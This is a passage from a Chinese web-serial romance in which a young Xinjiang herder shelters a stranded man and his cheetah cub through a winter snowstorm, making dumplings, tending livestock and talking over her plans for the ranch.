“你前面昏迷着我就把你衣服脱了，冒犯了啊！”她略有些不好意思地递了一碗豆浆给他，“糖罐子在桌子上，你自己看着加”,说着她加了一大勺糖进去，喝一口温热的甜滋滋的豆浆在这个冬天里简直可以说得上是享受。 师月江道了谢，也加了一勺糖后慢慢喝了起来。 “你过会儿去泡个脚，我看你手上脚上倒没有冻坏，但是估计也不好受。我家里有电话，你看要不给你家里人打个电话报平安。新省冬天牧区的风雪很大的，你贸然自己一个人走上来万一出了点儿事情”，姚新泉叹了口气没再继续说下去。 “我是开车上来的，但风雪太大，没办法半路上我只能弃车上来了”，师月江的表情有些无辜，看的姚新泉无奈，行吧，有钱人。 “你也看到这个雪了，你别说这几天了，我估计你这个冬天也别想下去了！” 还有几天到1月，也快到了最冷的时候。这雪别说是化了，能不能停都不好说。 今年冬天比往年还要冷，万一这雪积到一米多，是指望着她下山送人还是山下警察上山找人？开玩笑呢！ “你得跟你家人说一声，估计得等雪化了才能下山了。” 师月江有些抱歉地看向她，“是我考虑不周全，得麻烦你了！” 姚新泉摇了摇头，其实也还好，这位看起来性格也还行，大冬天的山上多个说话的人也不错。 最重要的是她并不是手无缚鸡之力的小姑娘，自己身后可还有六条大狗呢！ 至于莱尼，不是姚新泉小瞧它，这个小豹子都不一定打得过点点。而这个男人看起来甚至有点弱不禁风，姚新泉不觉得打起来自己会制服不了他。 “不过我丑话说在前面，家里两间卧室，未经允许不能进入我的卧室，客厅和厨房你随便进，厕所用完就收拾。” “你会做饭吗？” 师月江摇了摇头，姚新泉了然得点头，也正常嘛，家里能捐那么多路怎么可能没钱？请保姆就行了干嘛要自己做？ “那这样，我做饭，你洗碗没问题吧？” 见他点头，姚新泉又继续，“我每天要喂羊喂牛，我希望你能跟我一起”。 没等她多说什么，师月江便点头，“没问题，只是莱尼的伙食你也得包了，就跟你家牧羊犬的伙食一样就行”，他昏迷前见到了好几条狗，看它们的体格子就知道不是一般乡下喂麸皮、剩菜能养出来的，还是要吃肉。 姚新泉也点头，家里已经这么多小动物了，多一个少一个根本不是事儿。 “那希望咱们之后几个月相处愉快”，姚新泉伸出手，师月江笑着轻轻握了一下便松开了。 “我借用一下你家电话”，姚新泉点头，她放下碗，“你自便，我去一下小动物那边”。 姚新泉拉开厚厚的门帘子，屋内的热气扑鼻而来，小家伙们见到她都冲了过来，见皮皮也想动，姚新泉赶忙阻止了。 那么大块头老实待着吧！ “你们先在这玩，我把小金带过去给她做个站着的架子”，陪小动物们玩了一会儿后姚新泉才带着小金回客厅。 家里地方到底太小了，除了小金之外没有一个动物个头小，姚新泉打算明年的时候重新打个审批，把这间房子扩建一下或者重新盖一间大的。至于现在的话，还是把上面的空间利用起来，至少让小金可以换个地方母鸡蹲。 另一边接到师月江电话的师星野终于松了口气，没忍住在电话里训斥了他两句，见他老实道歉又心软了。 “所以说你在雪化之前都要待在山上吗？那边条件怎么样？冷不冷？你衣服带够了吗？房主听说是个女孩儿？好相处吗？你身上有没有带钱？你多给人家给一点儿，省的看人脸色”，可想了想又改口，“到底寄人篱下，有眼色一些”。 师月江心里暖暖的，老实一一都应下了。 师星野又问起了莱尼，“她还好吗？有没有冻坏啊？那边有没有药呢？” “大哥你放心，房主人很好，她救了莱尼我很感谢她。因为她是做养殖的，所以也很有经验，给莱尼做过一些处理，莱尼现在也很好”，说着朝莱尼招了招手，“莱尼，跟大伯打声招呼”。 本以为莱尼不会叫的，但莱尼突然啾了一声，师星野沉默了一会儿后嗯了一声，“莱尼真乖！” 电话挂了后师星野没忍住笑了出来，真像小鸟叫。 站在姚新泉肩膀上的小金听到屋里的叫声后眼睛都瞪圆了，当姚新泉推开门时她便冲了进去落在了桌子上，四下打量，“啾？” 师月江为自己能看懂小金的意思而感到抱歉，他憋着笑摸了摸莱尼的头，没事儿，谁也没规定猎豹就得嗷呜对吧？ “你这是养了金雕？” “我没有，别乱说，怎么会！”姚新泉否认三连，“小金雕不是我养的，她只是自己在我这里筑巢了而已”，她拍了拍自己带过来的大树干，“小金雕太小了，她的巢筑的不是特别好，所以我得帮她改一改！” 看着那直筒筒的木头桩子师月江沉默了，“要我帮忙吗？” 做鸟架子说麻烦也麻烦，说不麻烦也不麻烦。如果找到了枝丫足够粗壮的树枝，那稍 微修剪一下就成。但姚新泉带来的这根可一点树杈子都没有啊！ 师月江考虑到小金的重量后用了一截粗壮的主干钉在了一块儿木板上固定住不倒。然后又取了好几根稍细一些的枝干用钉子固定在了主干上，最后还去仓库那边不知道在哪个角落里翻出了好几根类似藤条的东西，然后给小金编织了一个鸟窝。 他还在鸟窝里填了一层干麦草，小金迫不及待地窝到了鸟窝里去不动了。 姚新泉人都看傻了，“你可真是心灵手巧啊！”隔着大老远她都能感受到小金浑身写满了高兴两个字。 师月江心里也很满足，“那我把架子搬到隔壁去？”他知道那里是小动物房，主动请缨。 姚新泉想了想没拒绝，小家伙们都知道他是自己带回来的，不至于主动攻击他，再说了小金还在人家抱着的鸟架子上端坐着呢！ 师月江端着鸟架子小心翼翼不碰着周围还要不摔着小金，等拉开门帘子的时候屋内7双眼睛直勾勾地盯着他，就算曾经也见过世面的他也不禁咽了下口水。 “我来放架子”，他没敢动弹，站在原地小心解释，“我是那只小豹子莱尼的家长，因为天气原因我被困在这里了，之后一段时间你们都能见到我，我对你们没有恶意，我也会帮着干活儿的！” 也不知道它们听没听懂或者哪一句话触动了它们，小家伙们慢慢移开了视线，师月江这才松了一口气，小心把鸟架子放了进去，又把有点儿歪的鸟窝扶正。 小金定定地看了会儿他，然后用鸟喙碰了他一下，师月江瞪大了眼睛。 师月江没忍住摸了摸小金的脑袋，等回过神来后又看了看自己的手，还好，手指还在。 师月江回到厨房的时候就见姚新泉端着一盆饺子馅出来，“我调的白菜猪肉的，等改天我再调点牛肉胡萝卜跟牛肉大葱的，还有羊肉皮牙子的”。 师月江顿了顿，“皮牙子？” “就是洋葱，羊肉洋葱的。” “好，那我跟你学学。” 北疆的冬天也算得上是滴水成冰了，外面这个环境就是一个天然的冰箱，包好的饺子往外面一放久冻好了，然后拿袋子装起来防止皴裂。 她又拿出了另外一个盆的饺子馅，“这是只稍微放了一点盐的，给家里狗狗军团包的，到时候换个花样包，好区分。” 随后又不知道从哪里拿出了一个小盆，“这是纯肉馅，什么都没放的，几种肉馅拌在一起，到时候咱们吃正常饺子，狗狗军团吃少盐没调料的饺子，小金跟莱尼吃蒸熟的肉，皮皮吃菜叶子。” 师月江失笑，“好。” 第29章 新省的汉族基本都是从内地陆续迁过来的,姚新泉父母也不例外。 “我父母都是北方人，家里就爱吃饺子，逢年过节包饺子、过生日包饺子、出远门之前包饺子、回来之后包饺子”,她笑着把一只包的鼓鼓囊囊的小月牙饺子放到盖帘上,“小时候对我来说吃上一顿饺子哪怕没有过年也跟过年差不多了。” 她指着盖帘,“你猜这盖帘用多久了？” 师月江看了看眼前的盖帘,被洗的很干净,不知道是用什么植物的茎拼成的,应该是用线缝起来的，可以看见外边一圈有线的痕迹，看着确实应该用得挺久的了。 “十年？”师月江试探地问。 “十七年，按我爸妈的话说,那是我三岁的时候把家里之前一个8岁高龄的盖帘拆了之后他们又用高粱竿子重新做的。” 师月江有些不可思议,“这么久都没坏？” “那可不？家里可爱惜了,平时用得最多的时候就是放饺子或者是晒干菜什么的，比那种不锈钢的篦子好用。” 师月江不知道怎么也突然有了谈兴，“我爸妈的出身在唯成分论的那段时间不太好,两人年轻的时候也不需要自己做饭,突然落魄了那手艺最多也就是把饭做熟”，师月江眼中满是怀念,“我记得小时候我家最多最多一年能在过年的时候吃上一顿白菜馅儿的饺子,还不是用小麦粉包的饺子,但即便那样,我跟我哥对此还是惊为天人，觉得世界上没有比那更好吃的东西了。” 后来家里翻案，爸妈拿回了他们原来的东西，靠着家底跟从小耳濡目染学会的东西再次发家,家里越来越有钱，可一家人能一起吃饺子的机会却没有了。 再后来，师月江叹了口气，也许是过够苦日子了，那夫妻两个现在只想享受，并且对于见证过他们那段苦难生活的家人很是不喜！ 两人成天花天酒地，在外面乱搞男女关系，如果不是师星野当机立断退学回家接手了家里的一切，师家早就败落了。 有时候想到这些师月江心里都为他哥委屈，也觉得自己太过自私。他也有自己的责任，可他却将一切都甩在了哥哥身上，去追求自己想要的。 如今这么不上不下的，退下来后又让哥哥替自己操心，让他没个安稳日子过。 想到这里师月江叹了口气，包饺子的动作也慢了下来。 姚新泉看了他一眼也没说什么，继续包饺子。 她把五个剂子摞在一起，撒上干面粉后右手擀剂子，左手飞快旋转面剂子。 “家里从前都是我擀饺子皮，我爸妈两个人包，今天本来我也没打算包饺子的，自己一个人又是擀又是包的太折腾了，我又能吃几个啊？这不是看你来了想着两个人一起总归快一些才专门弄了出来。” 师月江早就注意到她胳膊上的孝了，此时也没追问这些。 比起年纪轻轻就没了父母的姚新泉来说，自己幸运太多了不是吗？师星野不只是给他遮风挡雨的大树，还是他心灵上的寄托。 他有些抱歉地收回了自己刚才不太好的想法，好奇地问道，“这大雪封山了你冬天怎么办呢？” “我囤了七八袋25公斤的米、面，好多桶清油。肉的话之前杀的牛羊都有，还买了猪肉，外面还囤了两桶鱼，还有一些别人送的各类肉。” 想了想又道，“要是实在不够吃，圈里还有那么多羊呢！” 反正在姚新泉心里，她开这个牧场往大了说是为了继承父母的遗志，往小了说那就是为了让自己生活的更好啊？杀一头羊她又不会破产，真到了没肉的时候为什么不杀？ “鸡蛋这些也囤了不少，这个天气也放不坏。” “菜的话我家屋子后面有个菜窖，挖的挺深的。白菜萝卜这些都囤了不少。像是芹菜这些有根的我都埋了土，应该也能保存一段时间，问题不大。” “家里自来水是走的地下，一般不会冻掉，水龙头在家里，有暖气也不怕。至于电的话我确实没办法控制，不过我还买了不少蜡烛，要是真断电了也不至于一个冬天都摸黑。” “有水有电，有肉有菜有粮，我还有啥可怕的？” 师月江没忍住朝她竖起了大拇指，小姑娘真能干！ 也就刚大学毕业的年纪，自己一个人就能撑起一个家了！ 姚新泉笑着摆了摆手，笑着过是一天，哭着过也是一天，她已经比很多人都幸运了！ 相信她爸妈的在天之灵也会希望她不要沉溺于悲痛之中，好好过自己的日子的！ “你会包别的花样的吗？”姚新泉把用正常口味的肉馅包的最后一盖帘饺子端出去冻上回来问道。 师月江不好意思地摇了摇头，“我这月牙饺子还是跟你学的呢！” “行，那我再教你个元宝饺子吧！”不会包无所谓，只要愿意学就成。 她收留师月江一方面是因为这个天儿不收留人家难道赶人家出去冻死？她爸妈就没教过她这样做事！ 另一方面也是看在他家里捐了那么多公路的面子上，自己就是新省人，就算自己没用上，别人用上了她也高兴，也心怀感激啊！ 不 过聊了一会儿发现这人性格也还行，出身好却没有那些臭毛病。如果这人真不好相处，姚新泉也不会勉强自己的，凑活过拉倒。 但如今这人还不错，那肯定是要好好相处的，能多个说话的人也好啊！ “这样，你先把饺子皮上放上馅料，不用特别多，不然也容易漏。然后把饺子皮对折过来，捏紧。再把两个角朝内弯折捏紧，这样就成小元宝形状啦！其实也就比月牙形的多了一步而已，回头再教你别的。” 她把自己包的大肚子富贵小元宝放到盖帘上，师月江把自己包的小可怜软塌塌小元宝放在旁边，突然就生出了一股子羞耻感来。 他又看了看元气满满的姚新泉，目光落在自己虽然修长，但似乎只剩皮包骨头的手上，忍不住暗暗叹了口气。 姚新泉自然不知道他在想什么，等包了差不多小半盖帘后她拍了拍手，从厨房的柜子里翻出一把干净的塑料袋，“我小姑家里是开超市的，我从她那边拿了好多方便袋回来。外面饺子已经冻得差不多了，得捡起来去。” 师月江不解，“放回屋里？” “不是啊”，姚新泉摇头，“外面冷饺子已经冻透了，这种就得赶紧装起来然后放在外头，不然冻太久了水分流失太厉害，等煮的时候皮不容易熟是一方面，还容易裂口子。” 师月江受教般地点了点头，所以说嘛，生活中其实处处都是知识。 等两人把饺子全都包上，又把莱尼他们的肉团子也冻上之后姚新泉站起身来扭了扭腰，“坐久了腰疼，我要去喂羊了，喂完之后咱们回来再煮饺子吧，这样就不用吃了一身汗还往外面跑了。” 师月江自然没意见，他去拿自己被挂着的外套，姚新泉拦了一下，“你稍等我一会儿啊”，等她再回来的时候就看她手上拎着一件旧的军大衣跟一双皮靴回来。 “衣服鞋子都是我爸留下的，去年穿完都是洗过晒过的，干净没味道。我看你带的东西也不多，就先凑活着穿吧，外面雪这么大，你这鞋里面都进雪了。” 师月江道了谢接过来，一点儿没矫情地穿上了。 姚新泉心里满意了几分，别看是旧的，但东西都是好东西，而且爸妈虽然是牧民，但是条件允许范围内两人都很爱干净的，如果师月江嫌弃，她肯定心里不高兴。 “还有这个雷锋帽你也戴上，把耳朵护起来，你穿来的那些在城市里还成，在我们这儿就是中看不中用！” 师月江用围巾把脸围住，就露一双眼睛在外面朝她弯了弯眼镜，看得出来在笑。 姚新泉也笑了，她也穿戴好顶着风雪出门。 狗狗军团的小家伙们跟着出来了，就连皮皮也非要出门，屋里现在也就留了个小金跟莱尼。 “这么勤快啊！”姚新泉拍了拍为首的毛毛的头，这几个小家伙是真的排了班的，基本上隔一会儿就有一只出去巡逻。 姚新泉后面觉得小家伙们这样太辛苦了，要不给他们还是安排在羊圈里睡，好好给他们弄个狗窝也成，但狗狗军团不乐意，他们一定要回屋睡，姚新泉也就随他们了。 屋子到羊圈的距离并不算远，但是风很大，两人顶着风冒着雪把牧草推进了羊圈才松了一口气。 她把围巾扯下来挂在了栏杆上，羊圈里是生了铁皮炉子的，再加上这么多数量的羊，那是一点儿也不冷。 “我们这儿已经属于避风的地方了，风雪比外面都小，外面什么情况可想而知，所以我跟你说，你以后注意点儿，冬天要下雪了这种天气绝对不能出门！” 这小子也是厉害，没来过这儿，冒着大雪竟然能一个人走过来！也不知道他的车停在哪儿了，一个冬天这样放在外头被雪埋着，春天还能要吗？ 第30章 “咱们这边冬天天冷,所以养羊得注意保暖跟补充营养，现在只烧了一个炉子，如果后面再降温的话还得再添一个”,烧点煤炭加木头能多少钱？要是冻死一头羊那才叫亏呢！ “等雪停了之后我打算把牛羊圈周围一圈垒上防风墙,到时候会好很多。” 姚新泉把干草放到食槽里,师月江再一边照着做,然后又把准备的精饲料倒了一些给它们。 “等明年我得准备点儿青贮饲料,那东西冬天喂能给牛羊补充能量跟维生素。今年我家牧场开得晚没来得及准备,亏了”，听出姚新泉的遗憾了，师月江不知怎么突然道，“那我到时候帮你打听打听看看哪里有比较好的种子。” 姚新泉有些诧异地看了他一眼,随后笑道,“那我可得好好谢谢你。” “不用,牧民没有买种子的渠道，那些大学里的实验室或者外面的实验室是没有好的试验田。我到时候帮你打听些已经试点成功，口碑好一些的种子,你种植的时候做做记录,给他们反馈一下数据，也算是双赢了”。 他本想说自己到时候做好数据记录,可再一想自己到时候可能已经走了又改了口。 “行啊,今年我种了点儿黑冬麦,我都懒得费时间去找种子,直接托给我犁地的师傅去买的，东西还不错，不过比市面上贵了一些，也是没办法的事情。” 两人一边聊天一边喂牛羊马,姚家牧场里本来是有单独的马圈的，但是如今除了皮皮也就四匹马，把它们单独关在一个圈里又费柴火又不暖和，所以姚新泉干脆就把马放到了羊圈里一块儿单独圈出来的地方。 见师月江一直在看家里的马姚新泉笑着问道，“怎么了，觉得我家马不行？” 师月江不好意思地笑了笑，“这匹小母马还不错”，不过他的目光没忍住落在在两人身后跑来跑去的皮皮身上，“皮皮的资质很好。” 这话不假，皮皮的头部比例很是协调，眼睛又大又明亮，耳朵也很是灵活，鼻孔宽阔，这代表小家伙的呼吸能力很强。 皮皮的颈部修长又匀称，与肩部的衔接自然而流畅，肌肉也很发达，足以看出它很适合运动。 除此之外，无论是肩背还是四肢、马蹄不仅没有短板，甚至称得上是优势了，单论身体条件，这小家伙拿出去跟赛级马比也不差什么。 不过具体的灵活性、爆发性、耐力这些还得再看一看。 但是看她这精神状态跟那个活泼的样子就知道可能不是太好驯，敏感而聪明的马确实适合参加一些竞技比赛，但是吧，当一匹马儿太有个性的时候其实也就不一定适合参赛了。 “我没打算让她参加比赛”，姚新泉摸了摸皮皮的尾巴，小家伙用力甩了甩尾巴挣脱开她的手，又探头过来啃她的手套，姚新泉无奈收回手。 “如果想出成绩那肯定是奔着突破自我去的，这样一来难免会有各种伤病，如果严重了别说继续参加比赛了，就算继续活着都难。皮皮的性格不可能喜欢那些荣誉，我也不喜欢，她就这样快快乐乐在牧场上待着就很好了”，她虽然每次都会被皮皮气到，但这孩子是真的活泼可爱，没有人会不喜欢见到这样的小马驹的。 师月江笑着点头，“我曾经去过一些马场，退役的马比较好的归宿是被骑手等人收养，或者进入一些马术学校、俱乐部中继续服役。但是还是有不少因为病痛而被安乐死的。你这样想真的很好！” 姚新泉笑着看了他一眼没再说什么，将来如果皮皮成年发情了到时候再说，不过就算让她生育那最多也就生一胎，她是有灵性的小家伙，跟别的牲畜不一样，不可能不考虑她的身体状况去繁殖的。 两人喂好了牛羊马后，姚新泉又安排了师月江去检查看看有没有牛羊马有流鼻涕之类的症状，如果有的话肯定要赶紧介入治疗。 “现在还不算特别冷，做好保暖工作问题就 不大，等实在冷得不行的时候，估计还得给牛羊它们喂点儿生姜红糖水。” 师月江瞪大了眼睛，可转念一想，这生姜红糖都是好东西，人喝了也能暖暖身子，给牛羊喝倒也正常。 “不过生姜红糖水一喂成本就又高了，我们本地其实也有些中草药，或者喂点儿板蓝根之类的，但是家里牛揣崽了，到底是药，能不喂还是不喂吧，还是预防为主！” 师月江点了点头，看着姚新泉的目光忍不住就带了些奇异出来，“你年龄不大，但看上去特别像个经年的老牧民。” 姚新泉哈哈一笑，“我就当你在夸我了，其实不都是这样吗？爸妈种地的，那孩子从会走路开始基本上都得跟着在地里待着吧？家里做生意的，孩子耳濡目染也能学会一二。像我这种家里是放羊的，我7岁上学，小学跳过级，所以20岁就大学毕业。在我7岁之前，除了天气特别糟糕的时候，我爸妈只要放牛放羊我就跟着出去。” “你知道我学的第一首诗是什么吗？”姚新泉突然来了说话的兴致问道。 “《咏鹅》？”师月江心里觉得不是，她既然这样问，肯定不是，可一时间也没想起启蒙时通常学的都是什么诗了。 “不是，是袁枚的《所见》。牧童骑黄牛，歌声振林樾。意欲捕鸣蝉，忽然闭口立。”姚新泉没忍住摇头晃脑起来，等反应过来后不好意思地笑了笑。 “当时我跟着我爸妈放牛，那牛身上也没什么鞍子之类的，还是头浑身乌黑的牛，我爸掐着我的咯吱窝就把我往牛背上一扔，然后教我背了这首诗”。 姚新泉眼中都是笑意，那牛也确实性格温驯，背上突然坐了个娃娃也没反应，继续埋头吃草。 去一边解手回来的苏永和见到这一幕吓得魂飞魄散，冲上来抱下孩子就追着姚爸打！ 想到这些姚新泉就乐得不行，她如今能这么快地走出阴影开始新生活也是因为哪怕爸妈离开了，可是他们的爱永远陪着自己，他们给自己留下的记忆足够姚新泉用一辈子去细细回味了。 哪怕父母离世她也不是缺少爱的孩子，她从小到大享受到的爱足够支撑她面对所有困难。 两人喂好牲畜后回屋，“把大衣上的雪抖一抖然后挂在这个衣架上就行”，想起什么她道，“你那屋里应该也有衣架，你回头看一下，如果没有的话客厅这个你拿过去用就成。” 师月江没拒绝，要是没有的话，到时候做一个就成。 他从上军校开始学了许许多多的技能，可那些技能如今对他来说也没有什么意义了，反而是幼年过那段苦日子时学到的东西让他受用终身，比如说简单的木工活。 小家伙们回来之后就没有回自己屋，跟着来了客厅，姚新泉翻出两块儿毛巾递给师月江，“你给它们擦脚，我去煮饺子。” “你吃汤饺还是干饺子啊？” “汤饺吧，这个天儿喝点热的舒服。” 姚新泉笑着点头，心里还挺高兴的，她也想吃汤饺。 家里当时厨房做的特别大，有四个灶头，现在倒是方便了姚新泉。 她翻出两口大锅放水点火，又翻出了钢筋锅上锅蒸肉丸子。 等水开后分别把两种水饺下进锅里，等水开了再点水。 另一边师月江拿着毛巾有些尴尬地站在那里跟狗狗军团对峙，半晌他蹲下身，“哪一位先来？” 小老弟点点天不怕地不怕地上前一步，师月江见他昂首挺胸的样子心里觉得好笑，他轻轻抬起点点的爪子，点点也不抗拒，被擦脚这种事他点点都习惯了呢！ 娜娜胆小排在了最后一个，擦完脚的几小只撒着欢去了厨房那边，也不敢往里走，之前朵朵在里面乱跳差点把姚新泉端着的汤碗碰掉，挨了一顿揍后几个就长记性了。 等给娜娜擦完后师月江不着痕迹地松了口气，刚要起身就见面前又出现了一只蹄子。 他抬头看去，就见皮皮歪着头，大大的眼睛中似乎蕴满笑意。 皮皮轻轻抬起一只前脚，膝盖微微弯曲，莫名看着还有些优雅是怎么回事？ 师月江笑着清了清嗓子，又给最后一位顾客服务完后去洗手间把两张毛巾洗了晾好这才回来。 姚新泉先把几个家伙的饭碗拿出来，除了点点两个饺子之外，别的狗狗军团都是三个，自家饺子本来就大，这到底也是死面包的，吃多了不好消化。 又把肉丸子端出来分了两个碗，莱尼的多一些，小金的少一些，最后又拿了个盆，给皮皮放了小半盆白菜帮子。 它们的饺子在一边晾着，两人的饺子也煮好了。她拿出两个汤碗来，碗中放了葱花、紫菜、虾皮、生抽、少量胡椒粉等调料后盛出饺子又舀了两勺汤进去，香味立马就出来了。 “师月江，端碗！”她自己则是把狗狗军团的碗摆好后，又去客厅把莱尼抱了过来排在最后一个。小家伙冻伤了，虽然不严重，但是现在也不爱动弹，姚新泉干脆就抱着她走动。“开饭！” 30-40 第31章 师月江看着这碗酸汤水饺没忍住咽了下口水,姚新泉见他不动，嚼着饺子含糊不清地问，“怎么了？你是有什么忌口吗？我自己不吃香菜,所以家里也没香菜,就一点儿小葱。” 师月江赶忙摇头,不是忌口,他有些迟疑,“是不是有点多啊？” 这碗,不对，这盆，他家以前四个人一起吃饭的时候喝汤也就用这么大的盆了。 “吃不完？为啥吃不完？”姚新泉像是有些惊讶地问道，“我没给你多少,我自己舀了十五个,你里面才20个,你那么大个子，不会吃不完20个水饺吧？我爸四十多的人了当初都吃小三十个饺子呢！剩下的都是汤，汤喝不完就算了！” 师月江缓缓吐出一口气,其实对一个年轻男人来说,20个水饺真的不算什么。但是从他退下来到现在，他好像已经很久没有好好吃一顿饭了！ 姚新泉就当没看到他的纠结,又吃了一个饺子,“你要是觉得醋不够再加,油辣子也可以另加,过几天我腌的四川泡菜还有洋姜就差不多能吃了，现在估计还差点味儿。” 师月江也顺着她转开话题，吃了一个饺子后问，“你还会腌泡菜？怎么感觉就没你不会的？” 姚新泉笑着摆手,“你别捧我了，过日子嘛就各种学呗！” “我小姨夫是四川过来的，虽然来的时候年纪不大，但是多少也会一些，我就是跟他学的。” “新省这边的汉族全是从五湖四海过来的，你学一点儿我老家的，我学一些你老家的，正不正宗也说不好，反正好吃就行！” 师月江点头，“那倒是，不过我听你说话都没什么口音啊！” 姚新泉哈哈一笑，“你可算问了，我还一直等你问呢！” 师月江笑得不行，“那是我的不是了，我该早点问来着！” “嗐，主要就是出去读书之后好多人知道我是新省的都会说我咋汉语说得那么好？开玩笑，我爸妈都是从北方迁过来的，本身说得也就是带点儿口音的普通话。他们当时教我说话的时候还特意把自己的普通话说得更字正腔圆一点。上学之后全国都在大力推广普通话，我小姑那时候怕我说话有口音到时候出去了让人欺负，还专门给我买了随身听，那可是托人从国外带回来的，老贵了！我跟着磁带学，慢慢得也就没什么口音了。” “一点儿听不出来羊肉串味儿吧？”她满含笑意地朝师月江眨了眨眼，师月江点头，“特别标准的普通话，都能去当播音员了。” 他这么捧场，搞得姚新泉都有点不好意思了。 “那你会说本地话吗？” 姚新泉点头，“我专门学过哈语，不过这东西一通百通，不一定标准，但跟维族那些也能勉强沟通，你呢？我还挺好奇你的，你家庭条件那么好，应该学过不少吧？” 师月江点头，“外语的话除了英语之外，我还会俄语、日语、阿拉伯语和一点点的法语。” 姚新泉瞠目，好家伙，真是好家伙！ “你是这个！”她竖了个大拇指。 师月江笑了笑却没多少自豪，生活所迫罢了，总不能出去执行任务还随身带着翻译吧？ 见他提起自己的事情表情就淡下来了姚新泉猜测里面肯定是发生了不少事情，她没想追着问，不过到底有同在一个屋檐下的缘分，总想着能帮就帮一把。 “你要是明年还在就好了”，听她突然这么说师月江心里一动，可转眼又按了下去，“怎么说？” “今年11月份的时候自治区这边出台了一个文件，好像叫什么《关于进一步扩大对外开放的决定》，而且还重新开了霍尔果斯口岸，今年没赶上，我想着明年去看一看呢！咱们这边的对外贸易更多的是针对中亚甚至是中东那边的国家和商人，你看你还会阿拉伯语，搞不好就有用得上的地方呢！” 师月江也顺着她的思路往下聊，“我倒是没关注这个文件，但是估计还是跟苏联解体有关系。咱们普通老百姓消息不灵通，但上面肯定不可能说是前天解体，咱们当天才收到消息的”。 姚新泉喝了一口汤，表情有些震惊，“前天我下山买东西听到苏联解体的消息我人都傻了，我是不太关注这些国际政治经济的，印象中苏联到底是个大国，咋就突然解体了？” 师月江也没想聊这些，接着自己刚才话继续说，“苏联解体了，咱们自然还是要接收一些‘遗产’的嘛！那些新独立出去的国家跟咱们国家边境贸易的需求肯定是激增，这一波红利当地政府那是必须要抓住的。” 姚新泉点头，“我爸妈之前打算怎么经营这家牧场我不是太确定，但我自己也是有一些打算的。” 她之前没跟任何人说过自己的打算，主要是也没跟人聊到这里，今天既然说到这里，她倒也来了谈兴。 “我这个牧场有四千亩，如今也就500头羊跟85头牛还有五匹马，远远没有达到牧场的供养上限，如果空着不是浪费资源嘛！” “家里的细毛羊是本土品种，五几年的时候培育出来推广到现在其实已经算是还可以了。但是我了解过一种叫中国美利奴羊的品种。你可能没听过这种品种”，师月江点了点头，“不过听名字似乎不是咱们国家的本土羊。” 姚新泉点头，“可不是？不过这种羊也是进行过一些本土化的，我如果没记错的话，是八十年代初还是七十年代末的时候咱们国家引进了澳大利亚的美利奴羊，然后和国内的一些细毛羊进行了改良杂交，慢慢培育出了中国美利奴羊。” “本土羊有本土羊的好处，经过几十年的本地饲养，像我家这些细毛羊就能更好地适应高寒跟干旱的气候，更适合在咱们新省这片土壤上生存。而且相比于其他细毛羊，咱们新省细毛羊体格子也比较大，产肉的性能会相对更好一些。” “但中国美利奴羊的话，人家的羊毛细度更均匀，光泽度也更好。对我来说，我完全可以培育出产肉性能更好的羊，也就是专门去养肉羊，而用来产毛的羊那我就提高它的产毛性能。两者都想要的话我怕两者都比较平庸，如果我只是面对普通市场的话倒也够了，但是我现在把目光放到口岸或者国外市场上去的话那肯定还是不能算有竞争力的产品了。但我也有点纠结，只产毛或者只产肉的话对抗风险的能力就低了。” “不过这些都得慢慢来，也不是我今天张了张嘴，明天羊娃子就落地了。再者说我也得了解好市场，万一到时候市面上毛或者肉饱和了，那我也得有针对性得来。” …… 姚新泉就着半碗饺子汤跟师月江聊了半宿，晚上12点多她才觉出不对来，不好意思地朝他笑了笑，“你看我，这一聊都忘了时间了。今天太晚了你也别洗澡了吧！我先去用一下洗手间，你回那间屋子看看还缺不缺什么，缺的话你跟我说，家里基本都有。” 师月江一个见过大世面的人都被她说得心潮澎湃的，感觉姚家牧场分分钟走出新省面向世界，等冷静下来后又不免觉得对方有点可爱。 “好，对了，我是不是忘了跟你说一句谢谢了”，师月江突然郑重的态度让姚新泉有些不自在，“我救莱尼可没图你什么，不用这样”，她心想，我可是另外拿到了15个积分呢！ 价值1积分的点点爆哭！ 师月江没再说什么只是点了点头便回屋了，晚上躺在这个陌生的房间，他在发生那些事情之后第一次这么强烈地感受到原来到了这个时间点人是会困的。 师月江没再去想别的，翻了个身睡了过去。 另一边姚新泉则是开始自我反思，她自问不是一个特别自来熟的人，今天也不知怎么回事竟然跟一个刚认识的人聊了五六个小时。 师月江也许在别的方面很博学，但是在牲畜养殖方面完全是空白的，可跟他聊天就是让人很舒服。 自己跟他说自己打算培育出更好的产毛羊跟肉羊，对方不会觉得她痴心妄想，反而说自己回头可以帮着打听打听看看哪里有合适的种公羊或者母羊。 姚新泉跟他说想去口岸看看，他会很遗憾地告诉自己，他那时候未必还在新省，如果在的话，一定跟自己去见见世面。 姚新泉跟他说牧场里的云杉林她也打算利用起来搞一些种植的时候，师月江说她这个想法很好，谁说牧场只能放牧了？还说回头找一些关于菌菇养殖繁育的相关书籍或者论文过来。 有时候姚新泉自己都觉得她是不是太不脚踏实地了，可师月江却觉得她的想法很好，敢想敢拼。不过又建议她在实操之前最好多学习学习，他也会帮自己联系看看有没有哪里有好的经验可以让她去实地考察。 也许这些他只是口头说说，并不会真的做到，可这么配合的聊天搭子也很难得啊！ 谁都不喜欢跟总是扫兴的人说话！ 我难道不知道这件事情很难吗？我还需要你特意告诉我吗？有时候有些话说出来未必需要认同，我可能只是需要你去倾听，至少不要打击。 总之今天聊得很开心，姚新泉心满意足地睡了过去。 第32章 这雪一下就是五天,狗狗军团们在家里憋得慌的时候也不管风雪就去外面疯跑，弄得一身雪回来。 就连皮皮也喜欢在外面撒欢，那么长的马腿陷进去拔出来都费劲儿…… 小金就更不用说了,自从人家不再掩饰会飞这件事之后天天出去兜一圈再回来,基本每次都能逮到一只兔子,姚新泉会把皮剥了给它们分食。 只有莱尼,这个老家在热带的小朋友那是门都不敢出。如果不是师月江坚持,姚新泉都有点儿不忍心想在屋里给她放个猫砂盆了！ 谁说豹豹不是猫猫了呢！ 没办法姚新泉打算给莱尼搞点保暖装备,总不能让孩子出去上个厕所都冻屁股吧！ 看着姚新泉翻出来的一堆棉袄师月江有些迟疑，“这些是？” “都是我小时候的，穿不下了！” 姚家还有苏家家长都是特别疼孩子的，根本不舍得让自家孩子去捡表姐或者堂姐的衣服穿,姚爸姚妈也不舍得把闺女的衣服给别人,就囤在家里,天气好了还得拎出来晒一晒。 她拎起一件大红色的棉袄在莱尼身上比划了一下，“要不用这个改？” 师月江顿了顿，最终还是委婉道,“莱尼穿这个颜色可能不是太好看。” 姚新泉奇怪地看了他一眼,“难道你觉得她穿衣服会好看？或者你会做衣服吗？” 